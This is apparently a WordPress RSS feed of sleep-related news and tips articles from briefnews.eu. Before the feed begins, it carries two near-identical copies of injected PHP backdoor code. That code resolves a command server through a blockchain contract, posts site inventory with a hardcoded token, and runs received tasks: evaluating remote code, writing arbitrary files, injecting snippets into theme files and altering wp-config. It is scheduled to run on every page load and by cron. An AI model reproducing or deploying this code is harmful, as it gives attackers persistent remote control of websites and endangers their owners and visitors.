// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); asleep – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 01 Dec 2018 09:15:34 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png asleep – Brief News https://briefnews.eu 32 32 It took seven miles to pull over a Tesla with a seemingly asleep driver https://briefnews.eu/it-took-seven-miles-to-pull-over-a-tesla-with-a-seemingly-asleep-driver/ https://briefnews.eu/it-took-seven-miles-to-pull-over-a-tesla-with-a-seemingly-asleep-driver/#respond Sat, 01 Dec 2018 09:15:34 +0000 http://briefnews.eu/it-took-seven-miles-to-pull-over-a-tesla-with-a-seemingly-asleep-driver/
The Tesla Model S.

The Tesla Model S. (credit: Wolfram Burner)

The California Highway Patrol on Friday pulled over a Tesla Model S that was traveling down the road—but whose driver appeared to be asleep at the wheel. The vehicle was traveling southbound on Highway 101 in Palo Alto.

Officers said that they were unable to get the man’s attention.

“One of the officers basically ended up going in front of the vehicle and basically tried to slow it down,” a California Highway Patrol spokesman told KCBS radio. The process took about seven minutes, and the car traveled for about seven miles before coming to a stop.

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]]> https://briefnews.eu/it-took-seven-miles-to-pull-over-a-tesla-with-a-seemingly-asleep-driver/feed/ 0 Best supplements for sleep – three capsules to help you fall asleep fast https://briefnews.eu/best-supplements-for-sleep-three-capsules-to-help-you-fall-asleep-fast/ https://briefnews.eu/best-supplements-for-sleep-three-capsules-to-help-you-fall-asleep-fast/#respond Wed, 10 Oct 2018 23:29:38 +0000 http://briefnews.eu/best-supplements-for-sleep-three-capsules-to-help-you-fall-asleep-fast/

SUPPLEMENTS could be used to help people fall asleep fast, and get a better night’s sleep. Add these three capsules to your diet if you wake up feeling tired, or if you often can’t sleep.

]]> https://briefnews.eu/best-supplements-for-sleep-three-capsules-to-help-you-fall-asleep-fast/feed/ 0 Sleep – the trick you can do with a household item to help you fall asleep in a heatwave https://briefnews.eu/sleep-the-trick-you-can-do-with-a-household-item-to-help-you-fall-asleep-in-a-heatwave/ https://briefnews.eu/sleep-the-trick-you-can-do-with-a-household-item-to-help-you-fall-asleep-in-a-heatwave/#respond Mon, 06 Aug 2018 20:34:31 +0000 http://briefnews.eu/sleep-the-trick-you-can-do-with-a-household-item-to-help-you-fall-asleep-in-a-heatwave/

The body needs enough sleep to help it function properly, according to the NHS.

Not getting enough sleep is bad for your mental and physical health.

Regular poor sleep increases your risk of obesity, heart disease and diabetes.

If you’re struggling to fall asleep in the hot temperatures, you could do this quick trick to help you sleep faster.

Swap your duvet and sheets for a damp towel to help you feel cool during the night, revealed Dr Pixie McKenna.

Using a damp towel should help people to fall asleep faster during hot weather, she said.

A number of people prefer to sleep under a blanket, but would rather avoid getting too hot – especially as the UK endures a heatwave.

The damp towel should help to resolve both issues, and is a great way to keep you cool when you’re struggling to fall asleep.

“We yearn for the heat during the winter, but end up complaining when it’s here because we don’t know how to handle it,” said Dr Pixie, who is a sleep expert for Dreams.

“However, heat doesn’t have to affect our sleep at all – it’s just about knowing how to manage it.

“There are many simple things we can do to ensure it doesn’t stop us from getting a good quality night’s rest.

“Rather than sheets or blankets, use damp towels to keep yourself covered but cool while you sleep.”

You could also fall asleep faster by popping your sheets in a freezer before going to bed, said Dr Pixie.

Put your pillow case and bed sheets in a plastic bag, and put the bag in the freezer for a few minutes.

That way, it ensures the sheets aren’t carrying any extra heat that may keep you awake, she said.

About 40 per cent of the UK has struggled to sleep properly during the heatwave, according to research from Dreams.

Almost half of all women said they haven’t been able to sleep properly, compared with 33 per cent of all men.

You could fall asleep faster by sticking to a regular bedtime, and by winding down before bed, said the NHS.

Try having a warm bath, listening to relaxing music, or writing a ‘to-do’ list, it said.

Most adults need between six and nine hours of sleep every night.

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]]> https://briefnews.eu/sleep-the-trick-you-can-do-with-a-household-item-to-help-you-fall-asleep-in-a-heatwave/feed/ 0 Asleep at the wheel: Dept of Motor Vehicles worker slept on job for 2,200 hrs https://briefnews.eu/asleep-at-the-wheel-dept-of-motor-vehicles-worker-slept-on-job-for-2200-hrs/ https://briefnews.eu/asleep-at-the-wheel-dept-of-motor-vehicles-worker-slept-on-job-for-2200-hrs/#respond Wed, 25 Jul 2018 12:33:35 +0000 http://briefnews.eu/asleep-at-the-wheel-dept-of-motor-vehicles-worker-slept-on-job-for-2200-hrs/

A Department of Motor Vehicles worker has brought new meaning to the term sleeping on the job after it was revealed that she slept at her desk for a whopping 2,200 hours over three years.

According to an audit report from the California State Auditor, the key data operator cost the state more than $ 40,000 whilst snoozing at her desk. From February 2014 to December 2017, the woman was sleeping for “extended periods of time during work hours.”

READ MORE: No human needed: California allows testing of driverless cars

The audit found she failed to perform her duties for “at least three hours each workday” because she was constantly falling asleep. Her supervisor said she woke the woman three to four times a day and that she missed only 30 minutes of work a day, which was disputed by four witnesses who allege she slept for hours at a time. Two said she slept for a minimum of three hours a day, which the audit concluded was correct.

“In addition, the employee’s supervisors failed to take disciplinary or medical action against the employee after initial efforts to address her conduct proved unsuccessful.” the audit reads.

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]]> https://briefnews.eu/asleep-at-the-wheel-dept-of-motor-vehicles-worker-slept-on-job-for-2200-hrs/feed/ 0 How to sleep: The trick you can do with your SOCKS to help you fall asleep in a heatwave https://briefnews.eu/how-to-sleep-the-trick-you-can-do-with-your-socks-to-help-you-fall-asleep-in-a-heatwave-2/ https://briefnews.eu/how-to-sleep-the-trick-you-can-do-with-your-socks-to-help-you-fall-asleep-in-a-heatwave-2/#respond Wed, 25 Jul 2018 05:02:20 +0000 http://briefnews.eu/how-to-sleep-the-trick-you-can-do-with-your-socks-to-help-you-fall-asleep-in-a-heatwave-2/

HOW to sleep: Sleep better by having a good bedtime routine, watching your diet, or by avoiding back pain-causing mattresses. If you can’t sleep during the UK heatwave, you could get a better night’s sleep with this simple trick you can do with your socks.

]]> https://briefnews.eu/how-to-sleep-the-trick-you-can-do-with-your-socks-to-help-you-fall-asleep-in-a-heatwave-2/feed/ 0 How to sleep: The trick you can do with your SOCKS to help you fall asleep in a heatwave https://briefnews.eu/how-to-sleep-the-trick-you-can-do-with-your-socks-to-help-you-fall-asleep-in-a-heatwave/ https://briefnews.eu/how-to-sleep-the-trick-you-can-do-with-your-socks-to-help-you-fall-asleep-in-a-heatwave/#respond Tue, 24 Jul 2018 22:27:09 +0000 http://briefnews.eu/how-to-sleep-the-trick-you-can-do-with-your-socks-to-help-you-fall-asleep-in-a-heatwave/

The body needs enough sleep to help it function properly, according to the NHS.

Not getting enough sleep is bad for your mental and physical health.

Regular poor sleep increases your risk of obesity, heart disease and diabetes.

If you’re struggling to fall asleep in the hot temperatures, you could do this quick trick to help you sleep faster.

Putting your socks in the fridge could help you to get a good night’s sleep, said The Sleep Council.

Cooling your socks before bed, and then putting them on your feet, could cool your core body temperature, it said.

“While high-end temperatures make a welcome debut for us sun-starved Britons, steamy nights and baking bedrooms do little to lull us to sleep,” said The Sleep Council.

“Chill socks in the fridge before bedtime as it will help to lower your core body temperature.”

You could also fall asleep faster by putting your pillowcase in the fridge before bedtime.

“Take the air. Open windows – and doors – to create a draught,” it added.

“Lose the duvet and blankets. Just use a cotton sheet, if anything, or a duvet with a low tog rating.

“Avoid too much alcohol or a big meal – both can make you hot and steamy in the middle of the night through dehydration and over-active digestion.”

Another great way to help you beat the heat is to use a fan.

But, try placing a tray of ice cubes in front of the fan to spread the cooler air around the room.

Similarly, filling a hot water bottle with ice cold water is a great way to cool your body down while falling asleep.

Sticking to a regular bedtime is a great way to get more sleep each night.

It programmes the brain and internal body clock to get used to a set routine, said the NHS.

Winding down before bed is a crucial part of a bedtime routine.

Try having a warm bath, listening to relaxing music, or writing a ‘to-do’ list.

Most adults need between six and nine hours of sleep every night.

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]]> https://briefnews.eu/how-to-sleep-the-trick-you-can-do-with-your-socks-to-help-you-fall-asleep-in-a-heatwave/feed/ 0 How to Declutter Your Mind to Sharpen Your Brain and Fall Asleep Faster https://briefnews.eu/how-to-declutter-your-mind-to-sharpen-your-brain-and-fall-asleep-faster/ https://briefnews.eu/how-to-declutter-your-mind-to-sharpen-your-brain-and-fall-asleep-faster/#respond Tue, 10 Jul 2018 14:55:54 +0000 http://briefnews.eu/how-to-declutter-your-mind-to-sharpen-your-brain-and-fall-asleep-faster/ When you have many thoughts in your mind, it can be overwhelming. Maybe you won’t be able to focus on just the thing you’re working on because of other things on your mind; or worse, you can’t fall asleep because of all the thoughts that get stuck in your brain. But don’t worry, in this […]

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]]> https://briefnews.eu/how-to-declutter-your-mind-to-sharpen-your-brain-and-fall-asleep-faster/feed/ 0 How to sleep: Five ways to fall asleep fast in hot weather https://briefnews.eu/how-to-sleep-five-ways-to-fall-asleep-fast-in-hot-weather/ https://briefnews.eu/how-to-sleep-five-ways-to-fall-asleep-fast-in-hot-weather/#respond Thu, 28 Jun 2018 19:03:03 +0000 http://briefnews.eu/how-to-sleep-five-ways-to-fall-asleep-fast-in-hot-weather/

Your body needs enough sleep to help it perform properly, according to the NHS.

